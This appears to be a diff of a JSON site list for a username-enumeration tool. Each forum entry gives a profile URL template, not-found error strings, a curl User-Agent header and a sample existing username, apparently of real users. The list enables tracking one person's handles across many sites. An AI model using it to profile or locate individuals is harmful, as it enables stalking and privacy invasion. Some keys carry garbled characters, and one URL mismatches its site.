"comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "bad", + "bad_site": "" + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "bad_site": "" + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + 